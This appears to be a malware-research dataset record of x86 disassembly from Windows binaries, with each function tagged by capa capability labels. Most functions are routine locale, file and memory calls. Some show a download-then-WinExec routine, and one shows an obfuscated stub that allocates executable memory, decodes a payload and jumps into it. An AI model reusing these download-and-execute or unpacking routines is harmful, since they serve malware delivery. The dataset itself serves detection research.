joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405438
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x40549e
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.00403cd8
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.00402a24
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x405488
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4054a5
lea eax, [ebp - 0x10]
call fcn.00403a68
ret

Function at 0x4097ec
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x409825
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00403b58
jmp 0x40982e
mov eax, ebx
mov edx, esi
call fcn.00403abc
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x409838
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x409859
mov al, byte [esp]
jmp 0x40985b
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x409ee0
Capabilities:
Write file on windows

Disassembly:
add esp, 0xfffffbbc
push 0x400
lea ecx, [esp + 0x48]
call 0x409d58
mov eax, dword [0x41582c]
cmp byte [eax], 0
je 0x409f5c
mov eax, dword [0x415748]
call fcn.004029a0
call fcn.0040271c
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x48]
push eax
call sub.user32.dll_CharToOemA
push 0
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x4c]
call fcn.00407168
push eax
lea eax, [esp + 0x50]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x409fa4
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x409f92
push 0x40
lea eax, [esp + 8]
push eax
mov eax, dword [0x415724]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x416660]
call fcn.00404988
push eax
call sub.user32.dll_LoadStringA_1
push 0x2010
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
call sub.user32.dll_MessageBoxA_1
add esp, 0x444
ret
Function at 0x40ac40
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
xor edx, edx
mov dword [ebp - 0xc], edx
xor edx, edx
push ebp
push 0x40aca4
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 7]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
lea eax, [ebp - 0xc]
lea edx, [ebp - 7]
mov ecx, 7
call fcn.00403cd8
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_GetACP
mov edx, eax
pop eax
call fcn.00406cb0
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40acab
lea eax, [ebp - 0xc]
call fcn.00403a68
ret

Function at 0x413f00
Capabilities:
Get memory capacity

Disassembly:
add esp, 0xffffffe0
push esp
call sub.kernel32.dll_GlobalMemoryStatus
mov eax, dword [esp + 0x14]
shr eax, 1
add eax, dword [esp + 0xc]
add esp, 0x20
ret

Function at 0x414174
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403ef4
xor eax, eax
push ebp
push 0x4141d8
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0x4000000
push 3
push 0
push 1
push 0
mov eax, dword [ebp - 4]
call fcn.00403f04
mov esi, eax
push esi
call sub.kernel32.dll_CreateFileA
mov ebx, eax
push 4
push esi
call sub.kernel32.dll_WinExec
push ebx
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4141df
lea eax, [ebp - 4]
call fcn.00403a68
ret

Function at 0x4143c4
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403ef4
mov eax, dword [ebp - 8]
call fcn.00403ef4
xor eax, eax
push ebp
push 0x414452
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x41442b
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.00403f04
push eax
mov eax, dword [ebp - 4]
call fcn.00403f04
push eax
push 0
call sub.URLMON.DLL_URLDownloadToFileA
test eax, eax
sete bl
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x414437
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x414459
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403a8c
ret
Function at 0x414464
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
xor eax, eax
push ebp
push 0x41450a
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 8]
call fcn.004142c8
mov edx, dword [ebp - 8]
lea eax, [ebp - 4]
mov ecx, 0x414520
call fcn.00403d50
mov eax, dword [ebp - 4]
call fcn.00407020
test al, al
jne 0x4144ef
lea eax, [ebp - 0xc]
call fcn.004142c8
lea eax, [ebp - 0xc]
mov edx, 0x414534
call fcn.00403d0c
mov edx, dword [ebp - 0xc]
mov eax, 0x414548
call fcn.004143c4
test al, al
je 0x4144ef
push 0
lea eax, [ebp - 0x10]
call fcn.004142c8
lea eax, [ebp - 0x10]
mov edx, 0x414574
call fcn.00403d0c
mov eax, dword [ebp - 0x10]
call fcn.00403f04
push eax
call sub.kernel32.dll_WinExec
call fcn.00414344
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x414511
lea eax, [ebp - 0x10]
mov edx, 4
call fcn.00403a8c
ret
Function at 0x10009013
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x10009022
pop dword [ebp - 0xc]
mov eax, 0x10009022
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0xf19b1449
add dword [ebp - 0x1c], 0x5cb73102
mov dword [ebp - 0x18], 0x306da2f
add dword [ebp - 0x18], 0x2f2c7216
mov dword [ebp - 0x14], 0xe92a6b23
sub dword [ebp - 0x14], 0x9cde26f5
mov dword [ebp - 0x10], 0x1438dae7
add dword [ebp - 0x10], 0xebc72519
lea eax, [ebp - 0x1c]
push eax
mov eax, 0xb66d0eb8
add eax, 0x5993b16c
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0x626cce24
sub dword [ebp - 0x1c], 0xedfa64ce
mov dword [ebp - 0x18], 0x7b971048
sub dword [ebp - 0x18], 0x3a2aaed3
mov dword [ebp - 0x14], 0xdf0aa5c7
sub dword [ebp - 0x14], 0x7b9b395b
mov dword [ebp - 0x10], 0x71de229b
sub dword [ebp - 0x10], 0x71de229b
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x337fc
push 0
call eax
mov ecx, 0x3616
mov edx, eax
mov esi, 0x71be56ec
add esi, 0x9e461d14
add esi, dword [ebp - 0xc]
mov ebx, 0x2ec25d4a
sub ebx, 0x808c76c8
add dword [ebp - 4], esi
mov edi, dword [esi]
xor dword [ebp - 4], 0xdbbd61c9
add edi, ebx
sub dword [ebp - 8], edi
mov dword [edx], edi
sub dword [ebp - 8], eax
add edx, 0xc403ccbc
add edx, 0x3bfc3348
add esi, 0x9b7830e8
add esi, 0x6487cf1c
loop 0x10009134
add eax, 0xcb2b
xor ebx, ebx
add ebx, eax
add eax, 0x86d3ea4c
sub eax, 0x86d3ea47
mov ecx, 0x10000000
add ecx, dword [ebp - 0xc]
call ebx
leave
ret
Function at 0x10001000
Capabilities:
Print debug messages

Disassembly:
sub esp, 0x204
mov eax, dword [0x10218460]
xor eax, esp
mov dword [esp + 0x200], eax
push edi
mov eax, 0x1ff
lea ecx, [esp + 4]
mov byte [esp + 4], 0
call fcn.10004ff0
lea edi, [esp + 4]
add edi, 0xffffffff
nop
mov al, byte [edi + 1]
add edi, 1
test al, al
jne 0x10001030
mov ax, word [0x101aad90]
lea ecx, [esp + 4]
push ecx
mov word [edi], ax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov ecx, dword [esp + 0x204]
pop edi
xor ecx, esp
call fcn.10178e24
add esp, 0x204
ret

Function at 0x10001dd0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x10194f08
mov eax, dword fs:[0]
push eax
sub esp, 0x28
push esi
mov eax, dword [0x10218460]
xor eax, esp
push eax
lea eax, [esp + 0x30]
mov dword fs:[0], eax
mov eax, dword [ecx]
mov eax, dword [eax + 0x54]
lea edx, [esp + 0xc]
push edx
call eax
push eax
mov dword [esp + 0x3c], 0
call fcn.1001fff0
lea ecx, [esp + 0x24]
mov esi, eax
mov dword [esp + 0x38], 0xffffffff
call fcn.1001ff50
mov eax, esi
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1000d590
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0xffffffffffffffff
push 0x1019c108
mov eax, dword fs:[0]
push eax
sub esp, 0x70
push ebx
push ebp
push esi
push edi
mov eax, dword [0x10218460]
xor eax, esp
push eax
lea eax, [esp + 0x84]
mov dword fs:[0], eax
mov ebp, dword [esp + 0x94]
mov esi, dword [esp + 0xa0]
mov eax, dword [esi + 0x18]
test eax, eax
jne 0x1000d5d6
mov ebx, esi
call fcn.1000f310
cmp dword [ebp + 0x18], 0
jne 0x1000d5e3
mov ebx, ebp
call fcn.1000f310
mov eax, dword [ebp]
mov edx, dword [eax + 0x34]
xor ebx, ebx
mov ecx, ebp
mov dword [esp + 0x94], ebx
call edx
test eax, eax
jle 0x1000d6dd
jmp 0x1000d607
mov esi, dword [esp + 0xa0]
mov eax, dword [esi + 0x14]
mov ecx, dword [ebp + 0x14]
mov esi, dword [ecx + ebx*8 + 4]
mov edi, dword [eax + ebx*8 + 4]
lea edx, [esi + 0xc]
lea ecx, [esp + 0xa4]
lea eax, [esp + 0x18]
call fcn.10001c40
cmp dword [eax], 0
setne al
test al, al
je 0x1000d6ad
lea edx, [edi + 0x10]
mov edi, dword [esp + 0x9c]
mov ecx, edi
lea eax, [esp + 0x3c]
call fcn.1004b520
mov ecx, dword [esp + 0x98]
mov dword [esp + 0x8c], 0
mov edx, dword [ecx]
mov edx, dword [edx + 0x28]
push eax
lea eax, [esp + 0x30]
push eax
call edx
mov ecx, eax
lea eax, [esp + 0x1c]
mov edx, edi
call fcn.1004b4e0
mov ecx, eax
lea eax, [esi + 0x10]
call fcn.1004b480
lea ecx, [esp + 0x1c]
call fcn.1004b470
lea ecx, [esp + 0x2c]
call fcn.1004b470
lea ecx, [esp + 0x3c]
mov dword [esp + 0x8c], 0xffffffff
call fcn.1004b470
add dword [esp + 0x94], 1
jmp 0x1000d6b8
lea ecx, [edi + 0x10]
lea eax, [esi + 0x10]
call fcn.1004b480
mov eax, dword [ebp]
mov edx, dword [eax + 0x34]
mov ecx, ebp
add ebx, 1
call edx
cmp ebx, eax
jl 0x1000d600
cmp ebx, dword [esp + 0x94]
jne 0x1000d703
mov esi, dword [esp + 0xa0]
mov edx, dword [esp + 0x98]
lea ecx, [esi + 0x7c]
lea eax, [esp + 0x4c]
call fcn.1004e9f0
mov ecx, eax
lea eax, [ebp + 0x7c]
call fcn.1004e890
lea ecx, [esp + 0x78]
call fcn.1004e870
mov eax, ebp
mov ecx, dword [esp + 0x84]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x7c
ret 0x14
Function at 0x100171f0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x101a23b8
mov eax, dword fs:[0]
push eax
sub esp, 0x20
push ebx
push esi
push edi
mov eax, dword [0x10218460]
xor eax, esp
push eax
lea eax, [esp + 0x30]
mov dword fs:[0], eax
mov dword [esp + 0x14], ecx
mov ebx, dword [ebp + 8]
push ebx
call fcn.1001bba0
lea eax, [esp + 0x1c]
call fcn.10067d70
mov dword [esp + 0x38], 0
cmp dword [ebx + 0xc], 2
je 0x100172dd
sub esp, 0x18
mov eax, esp
mov ecx, 0x1021fdd8
mov dword [esp + 0x30], esp
call fcn.10062a10
lea eax, [esp + 0x3c]
call fcn.10089c40
mov edi, eax
mov byte [esp + 0x50], 2
mov ecx, ebx
lea esi, [esp + 0x34]
call fcn.10067f30
push eax
mov byte [esp + 0x54], 3
call fcn.10068050
push 0
mov byte [esp + 0x3c], 0
mov eax, dword [ebx]
mov edx, dword [eax + 0x1c]
push 4
lea ecx, [esp + 0x18]
push ecx
mov ecx, ebx
call edx
mov esi, dword [esp + 0x14]
mov ecx, dword [esp + 0x10]
mov eax, dword [esi]
mov edx, dword [eax + 0x40]
push ecx
mov ecx, esi
call edx
cmp dword [esp + 0x10], 0
mov esi, dword [esi + 0xc]
jle 0x10017378
mov edi, 1
lea esp, [esp]
sub dword [esp + 0x10], edi
mov ecx, esi
mov eax, dword [ecx]
mov edx, dword [eax + 0xc]
push ebx
add esi, 0x10
call edx
cmp dword [esp + 0x10], 0
jg 0x100172c0
jmp 0x10017378
mov edi, str.version_nr._of_ege_Cluster3D_
call fcn.1005b870
sub esp, 0x18
mov eax, esp
mov ecx, 0x1021fdd8
mov dword [esp + 0x30], esp
call fcn.10062a10
lea eax, [esp + 0x3c]
call fcn.10089c40
mov edi, eax
mov byte [esp + 0x50], 5
mov ecx, ebx
lea esi, [esp + 0x34]
call fcn.10067f30
push eax
mov byte [esp + 0x54], 6
call fcn.10068050
mov edi, 0x101ad464
mov byte [esp + 0x38], 0
call fcn.1005b870
lea ecx, [esp + 0x10]
mov eax, ebx
call fcn.1005ba90
mov esi, dword [esp + 0x14]
mov ecx, dword [esp + 0x10]
mov eax, dword [esi]
mov edx, dword [eax + 0x40]
push ecx
mov ecx, esi
call edx
cmp dword [esp + 0x10], 0
mov esi, dword [esi + 0xc]
jle 0x10017378
mov edi, 1
jmp 0x10017360
sub dword [esp + 0x10], edi
mov eax, dword [esi]
mov edx, dword [eax + 0xc]
push ebx
mov ecx, esi
call edx
add esi, 0x10
cmp dword [esp + 0x10], 0
jg 0x10017360
mov eax, ebx
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10018e50
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x101a1fe0
mov eax, dword fs:[0]
push eax
sub esp, 0x20
push ebx
push esi
push edi
mov eax, dword [0x10218460]
xor eax, esp
push eax
lea eax, [esp + 0x30]
mov dword fs:[0], eax
mov ebx, ecx
mov dword [esp + 0x14], ebx
mov esi, dword [ebp + 8]
push esi
call fcn.1005e6a0
cmp dword [esi + 0xc], 2
je 0x10018ee9
lea eax, [esp + 0x1c]
call fcn.10089c40
push eax
mov dword [esp + 0x3c], 0
call fcn.10067e80
push 0
mov dword [esp + 0x3c], 0xffffffff
mov eax, dword [esi]
mov edx, dword [eax + 0x14]
push 4
lea edi, [ebx - 0xc]
push edi
mov ecx, esi
call edx
mov edi, dword [edi]
test edi, edi
mov ebx, dword [ebx - 0x10]
jle 0x10018fd3
mov edi, edi
mov ecx, ebx
mov eax, dword [ecx]
mov edx, dword [eax + 0xc]
push esi
add ebx, 0x24
call edx
sub edi, 1
test edi, edi
jg 0x10018ed0
jmp 0x10018fd3
lea eax, [esp + 0x24]
call fcn.10089c40
mov dword [esp + 0x1c], eax
mov ebx, 0x101ada64
mov edi, esi
mov dword [esp + 0x38], 1
call fcn.1005c0c0
mov eax, dword [esp + 0x1c]
push eax
call fcn.10067e80
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
push 0xa
call eax
lea ecx, [esp + 0x24]
mov dword [esp + 0x38], 0xffffffff
call fcn.10067db0
mov ebx, 0x101ad464
call fcn.1005c0c0
mov ecx, dword [esp + 0x14]
mov edx, dword [ecx - 0xc]
push edx
mov ecx, esi
call fcn.1005c2e0
mov ebx, 0x101ada80
call fcn.1005c0c0
mov eax, dword [esp + 0x14]
mov edx, dword [eax - 0xc]
xor ecx, ecx
sub edx, 1
test edx, edx
mov dword [esp + 0x1c], ecx
jle 0x10018faf
mov dword [esp + 0x18], ecx
jmp 0x10018f70
mov ecx, dword [eax - 0x10]
add ecx, dword [esp + 0x18]
push esi
mov eax, dword [ecx]
mov edx, dword [eax + 0xc]
call edx
mov ebx, 0x101acd68
mov edi, eax
call fcn.1005c0c0
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0x1c]
mov edx, dword [ecx - 0xc]
add dword [esp + 0x18], 0x24
add eax, 1
sub edx, 1
mov dword [esp + 0x1c], eax
cmp eax, edx
mov eax, ecx
jl 0x10018f70
mov ecx, dword [esp + 0x1c]
cmp dword [eax - 0xc], 0
jle 0x10018fd3
mov edx, dword [eax - 0x10]
lea ecx, [ecx + ecx*8]
mov eax, dword [edx + ecx*4]
lea ecx, [edx + ecx*4]
mov edx, dword [eax + 0xc]
push esi
call edx
mov ebx, 0x101ada84
mov edi, eax
call fcn.1005c0c0
mov eax, esi
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10018ff0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x101a2230
mov eax, dword fs:[0]
push eax
sub esp, 0x20
push ebx
push esi
push edi
mov eax, dword [0x10218460]
xor eax, esp
push eax
lea eax, [esp + 0x30]
mov dword fs:[0], eax
mov esi, ecx
mov dword [esp + 0x10], esi
mov eax, dword [esi]
mov edx, dword [eax + 0x1c]
call edx
mov ebx, dword [ebp + 8]
push ebx
mov ecx, esi
call fcn.1005e6c0
lea eax, [esp + 0x24]
call fcn.10067d70
mov dword [esp + 0x38], 0
cmp dword [ebx + 0xc], 2
je 0x100190d9
sub esp, 0x18
mov eax, esp
mov ecx, 0x1021fe80
mov dword [esp + 0x34], esp
call fcn.10062a10
lea eax, [esp + 0x2c]
call fcn.10089c40
mov edi, eax
mov byte [esp + 0x50], 2
mov ecx, ebx
lea esi, [esp + 0x3c]
call fcn.10067f30
push eax
mov byte [esp + 0x54], 3
call fcn.10068050
mov edi, dword [esp + 0x10]
push 0
mov byte [esp + 0x3c], 0
mov eax, dword [ebx]
mov edx, dword [eax + 0x1c]
push 4
lea esi, [edi - 0xc]
push esi
mov ecx, ebx
call edx
lea ecx, [edi - 0x14]
mov edi, dword [esi]
call fcn.10019250
mov esi, dword [esi]
test esi, esi
mov eax, dword [esp + 0x10]
mov edi, dword [eax - 0x10]
jle 0x100191b5
lea ecx, [ecx]
mov ecx, edi
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
push ebx
add edi, 0x24
call eax
sub esi, 1
test esi, esi
jg 0x100190c0
jmp 0x100191b5
mov edi, str.ege_Cluster2DArr_version_
call fcn.1005b870
mov ecx, ebx
lea esi, [esp + 0x24]
call fcn.10067f30
sub esp, 0x18
mov eax, esp
mov ecx, 0x1021fe80
mov dword [esp + 0x34], esp
call fcn.10062a10
lea eax, [esp + 0x34]
call fcn.10089c40
mov ecx, esi
push ecx
mov edi, eax
mov byte [esp + 0x54], 4
call fcn.10068050
mov edi, 0x101adaa4
mov byte [esp + 0x38], 0
call fcn.1005b870
mov edi, dword [esp + 0x10]
lea esi, [edi - 0xc]
mov ecx, esi
mov eax, ebx
call fcn.1005ba90
lea ecx, [edi - 0x14]
mov edi, dword [esi]
call fcn.10019250
mov edi, 0x101acf68
call fcn.1005b870
cmp dword [esi], 0
jle 0x10019160
mov edx, dword [esp + 0x10]
mov ecx, dword [edx - 0x10]
mov eax, dword [ecx]
mov edx, dword [eax + 0x10]
push ebx
call edx
cmp dword [esi], 1
mov dword [esp + 0x14], 1
jle 0x100191ab
mov dword [esp + 0x1c], 0x24
mov edi, 0x101acd6c
call fcn.1005b870
mov eax, dword [esp + 0x10]
mov ecx, dword [eax - 0x10]
mov edi, dword [esp + 0x1c]
mov edx, dword [ecx + edi]
mov eax, dword [edx + 0x10]
add ecx, edi
push ebx
call eax
mov eax, dword [esp + 0x14]
add eax, 1
add edi, 0x24
cmp eax, dword [esi]
mov dword [esp + 0x14], eax
mov dword [esp + 0x1c], edi
jl 0x10019175
mov edi, 0x101acf6c
call fcn.1005b870
mov eax, ebx
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10019b20
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x101a1c90
mov eax, dword fs:[0]
push eax
sub esp, 0x20
push ebx
push esi
push edi
mov eax, dword [0x10218460]
xor eax, esp
push eax
lea eax, [esp + 0x30]
mov dword fs:[0], eax
mov dword [esp + 0x14], ecx
mov ebx, dword [ebp + 8]
push ebx
call fcn.10178b60
lea eax, [esp + 0x1c]
call fcn.10067d70
mov dword [esp + 0x38], 0
cmp dword [ebx + 0xc], 2
je 0x10019bf8
sub esp, 0x18
mov eax, esp
mov ecx, 0x1021fe98
mov dword [esp + 0x30], esp
call fcn.10062a10
lea eax, [esp + 0x3c]
call fcn.1007c980
mov edi, eax
mov byte [esp + 0x50], 2
mov ecx, ebx
lea esi, [esp + 0x34]
call fcn.10067f30
push eax
mov byte [esp + 0x54], 3
call fcn.10068050
mov esi, dword [esp + 0x14]
mov byte [esp + 0x38], 0
mov eax, dword [esi + 0x10]
mov edx, dword [eax + 0x10]
lea ecx, [esi + 0x10]
push ebx
call edx
mov eax, dword [esi + 0x34]
mov edx, dword [eax + 0x10]
lea ecx, [esi + 0x34]
push ebx
call edx
mov eax, dword [ebx]
mov edx, dword [eax + 0x1c]
push 0
push 4
lea ecx, [esi + 8]
push ecx
mov ecx, ebx
call edx
mov eax, dword [ebx]
mov edx, dword [eax + 0x1c]
push 0
push 4
lea ecx, [esi + 0xc]
push ecx
mov ecx, ebx
call edx
lea ecx, [esi + 0x58]
jmp 0x10019cb0
mov edi, str.ege_RBFMap2D_version_
call fcn.1005b870
mov ecx, ebx
lea esi, [esp + 0x1c]
call fcn.10067f30
sub esp, 0x18
mov eax, esp
mov ecx, 0x1021fe98
mov dword [esp + 0x30], esp
call fcn.10062a10
lea eax, [esp + 0x3c]
call fcn.1007c980
mov ecx, esi
push ecx
mov edi, eax
mov byte [esp + 0x54], 4
call fcn.10068050
mov edi, str.src_cluster_
mov byte [esp + 0x38], 0
call fcn.1005b870
mov esi, dword [esp + 0x14]
mov edx, dword [esi + 0x10]
mov eax, dword [edx + 0x10]
lea ecx, [esi + 0x10]
push ebx
call eax
mov edi, str.dst_cluster_
call fcn.1005b870
mov edx, dword [esi + 0x34]
mov eax, dword [edx + 0x10]
lea ecx, [esi + 0x34]
push ebx
call eax
mov edi, 0x101adbf0
call fcn.1005b870
add esi, 8
push esi
mov esi, ebx
call fcn.1001e420
add esp, 4
mov edi, 0x101adbf8
call fcn.1005b870
mov ecx, dword [esp + 0x14]
add ecx, 0xc
push ecx
call fcn.100514f0
add esp, 4
mov edi, 0x101adc04
call fcn.1005b870
mov ecx, dword [esp + 0x14]
add ecx, 0x58
mov eax, ebx
call fcn.1005bb50
mov eax, ebx
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x1001bba0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x101a01a0
mov eax, dword fs:[0]
push eax
sub esp, 0x18
push ebx
push esi
push edi
mov eax, dword [0x10218460]
xor eax, esp
push eax
lea eax, [esp + 0x28]
mov dword fs:[0], eax
mov ebx, dword [ebp + 8]
push ebx
call fcn.1005e6c0
lea eax, [esp + 0x14]
call fcn.10067d70
mov dword [esp + 0x30], 0
cmp dword [ebx + 0xc], 2
je 0x1001bc22
sub esp, 0x18
mov eax, esp
mov ecx, 0x1021fdc0
mov dword [esp + 0x28], esp
call fcn.10062a10
lea eax, [esp + 0x34]
call fcn.10089c40
mov edi, eax
mov byte [esp + 0x48], 2
mov ecx, ebx
lea esi, [esp + 0x2c]
call fcn.10067f30
push eax
mov byte [esp + 0x4c], 3
jmp 0x1001bc5d
mov edi, str.ege_Object3D_version_
call fcn.1005b870
mov ecx, ebx
lea esi, [esp + 0x14]
call fcn.10067f30
sub esp, 0x18
mov eax, esp
mov ecx, 0x1021fdc0
mov dword [esp + 0x28], esp
call fcn.10062a10
lea eax, [esp + 0x34]
call fcn.10089c40
mov ecx, esi
mov byte [esp + 0x48], 4
push ecx
mov edi, eax
call fcn.10068050
mov eax, ebx
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x1001c350
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x101a1c90
mov eax, dword fs:[0]
push eax
sub esp, 0x20
push ebx
push esi
push edi
mov eax, dword [0x10218460]
xor eax, esp
push eax
lea eax, [esp + 0x30]
mov dword fs:[0], eax
mov dword [esp + 0x14], ecx
mov ebx, dword [ebp + 8]
push ebx
call fcn.10178b60
lea eax, [esp + 0x1c]
call fcn.10067d70
mov dword [esp + 0x38], 0
cmp dword [ebx + 0xc], 2
je 0x1001c428
sub esp, 0x18
mov eax, esp
mov ecx, 0x1021fe50
mov dword [esp + 0x30], esp
call fcn.10062a10
lea eax, [esp + 0x3c]
call fcn.1007c980
mov edi, eax
mov byte [esp + 0x50], 2
mov ecx, ebx
lea esi, [esp + 0x34]
call fcn.10067f30
push eax
mov byte [esp + 0x54], 3
call fcn.10068050
mov esi, dword [esp + 0x14]
mov byte [esp + 0x38], 0
mov eax, dword [esi + 0x10]
mov edx, dword [eax + 0x10]
lea ecx, [esi + 0x10]
push ebx
call edx
mov eax, dword [esi + 0x34]
mov edx, dword [eax + 0x10]
lea ecx, [esi + 0x34]
push ebx
call edx
mov eax, dword [ebx]
mov edx, dword [eax + 0x1c]
push 0
push 4
lea ecx, [esi + 8]
push ecx
mov ecx, ebx
call edx
mov eax, dword [ebx]
mov edx, dword [eax + 0x1c]
push 0
push 4
lea ecx, [esi + 0xc]
push ecx
mov ecx, ebx
call edx
lea ecx, [esi + 0x58]
jmp 0x1001c4e0
mov edi, str.ege_RBFMap3D_version_
call fcn.1005b870
mov ecx, ebx
lea esi, [esp + 0x1c]
call fcn.10067f30
sub esp, 0x18
mov eax, esp
mov ecx, 0x1021fe50
mov dword [esp + 0x30], esp
call fcn.10062a10
lea eax, [esp + 0x3c]
call fcn.1007c980
mov ecx, esi
push ecx
mov edi, eax
mov byte [esp + 0x54], 4
call fcn.10068050
mov edi, str.src_cluster_
mov byte [esp + 0x38], 0
call fcn.1005b870
mov esi, dword [esp + 0x14]
mov edx, dword [esi + 0x10]
mov eax, dword [edx + 0x10]
lea ecx, [esi + 0x10]
push ebx
call eax
mov edi, str.dst_cluster_
call fcn.1005b870
mov edx, dword [esi + 0x34]
mov eax, dword [edx + 0x10]
lea ecx, [esi + 0x34]
push ebx
call eax
mov edi, 0x101adbf0
call fcn.1005b870
add esi, 8
push esi
mov esi, ebx
call fcn.1001e420
add esp, 4
mov edi, 0x101adbf8
call fcn.1005b870
mov ecx, dword [esp + 0x14]
add ecx, 0xc
push ecx
call fcn.100514f0
add esp, 4
mov edi, 0x101adc04
call fcn.1005b870
mov ecx, dword [esp + 0x14]
add ecx, 0x58
mov eax, ebx
call fcn.1005bb50
mov eax, ebx
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4